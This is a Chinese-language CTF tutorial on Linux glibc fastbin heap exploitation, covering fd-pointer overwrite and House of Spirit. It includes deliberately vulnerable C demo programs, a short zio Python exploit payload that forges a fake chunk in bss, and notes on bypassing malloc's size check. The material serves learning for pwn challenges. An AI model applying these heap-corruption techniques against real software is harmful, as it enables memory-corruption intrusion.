Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

linux下的fastbin是ctf中pwn题的重点出题点。去年（2015）中，XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现，这也是我刚开始接触fastbin的利用，参考了k0sh1师傅写在freebuf上的一篇文章。我写了几个demo来说明问题。

目录

1.关于fastbin

2.覆盖fd指针实现利用

3.任意地址free实现利用(House of Spirit)

 

1.关于fastbin

我们一般熟悉的堆都是双链表的chunk，但是对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin来进行管理的。

fastbin的堆块结构与常规的chunk是完全一样，除了使用的是单链表。

如上图就是一个正在使用中的fastbin块的结构

这是未被使用fastbin块。

通过这两幅图可以看出，原本是双链表（fd和bd）的位置现变成了单链表（fd）。

而fastbin就是依靠单链表来组织的，堆管理结构始终维护一个指向最后一个chunk的指针。这个指针决定了下一次要分配的chunk地址。

未被使用的chunk被链入单链表中，单链表的第一个chunk成员的fd值为NULL。

具体的链表情况如下：

 其中最上面的是指向单链表最后chunk块的指针，chunk3因为是第一个chunk所以fd=0。

 

2.覆盖fd指针实现利用

当一个fastbin堆块存在堆溢出的时候，这种方法就可以使用了。简要的过程就是通过溢出覆盖一个在单链表中的chunk块的fd指针，当再次分配后（至少分配两次），就会在被覆盖的fd处分配fastbin chunk块，从而实现向任意地址分配堆块。

下面详细解释一下：

1.成功利用的条件

• 存在可被溢出的fastbin chunk块，要求可以使chunk块的fd能被控制
• 欲被分配的地址，要求此地址的内容可控(存在size域)

2.如何利用

1. 分配两个fastbin chunk
2. 使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意，第一个应该是已被分配的，不然就没法写入导致溢出。第二个应该是未被分配的，不然就不存在fd也不存在分配的问题了。
3. 在欲分配的地址，比如bss段上构造一个伪chunk结构，比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
4. 进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。

　　　　tips：指向的应为堆头的地址，而不是malloc返回的用户指针的位置

3.演示demo

int BufForTst[100];

int main(int argc, char *argv[]) 
{
    void *buf0,*buf1,*buf2,*buf3;
    BufForTst[1]=0x29;
    buf0 = malloc(32);
    buf1 = malloc(32);
    printf("正常的chunk1、chunk2被分配\n");
    free(buf1);
    printf("chunk2被释放\n");
    printf("break\n");//for debug
    read(0, buf0, 64);//overflow 
    buf2 = malloc(32);
    buf3 = malloc(32);
    printf("发生溢出的chunk2被分配\n%p\n溢出改写的fd地址被分配\n%p\n",buf2,buf3);
    return 0;
}

这个例程展示了如何通过覆盖fd指针实现向bss段分配堆块

from zio import *

io=zio('./tst',timeout=9999)
#io.gdb_hint()
io.read_until('break')

sc='a'*32+l32(0x0)+l32(0x29)+l32(0x804A060)
#sc='abcd'
io.writeline(sc)
io.read()

这个exp配合使用。命令如下

gcc tst.c -o tst
python exp.py

 

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";

注意，因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

3.任意地址free实现利用(House of Spirit)

当可以通过某种方式（比如栈溢出）控制free的参数时，就可以使用House of Spirit实现利用。大概的思路是free你要任意分配的地址，然后这个地址就会在再次分配的时候被分配到，但是要任意分配的地址要提起构造好伪chunk结构。

下面详细解释一下：

1.成功利用的条件

• free的参数可控，可以指向欲分配的地址。
• 欲分配的地址要求内容可控，可以提前构造伪chunk

2.如何利用

1. 在欲分配的地址上构造伪chunk。由于堆的检验机制，要求构造连续的两个伪chunk。比如l32(0x0)+l32(41)+'aaaa'*8 +l32(0x0)+l32(41)
2. 控制free的参数，指向chunk的地址
3. 再次分配就可以在指定地点分配chunk了

　　   tips:free的地址为malloc的地址，也就是堆头+8的地址。

3.演示demo

int TstBuf[100];
int main(int argc, char *argv[])
{
    void *p;
    int i;
    TstBuf[1]=0x29;//为什么是0x29?因为32+8+FLAG位
    TstBuf[11]=0X29;//
    p=malloc(32);
    printf("正常的堆分配：%p\n",p);
    p=(int *)0x804A068;
    free(p);
    printf("free了一个任意地址\n");
    p=malloc(32);
    printf("再次分配堆，可以看到分配到了任意地址上:%p\n",p);
}

成功的把堆块分配到了bss上，为了方便我硬编码了，可以根据自己的情况修改。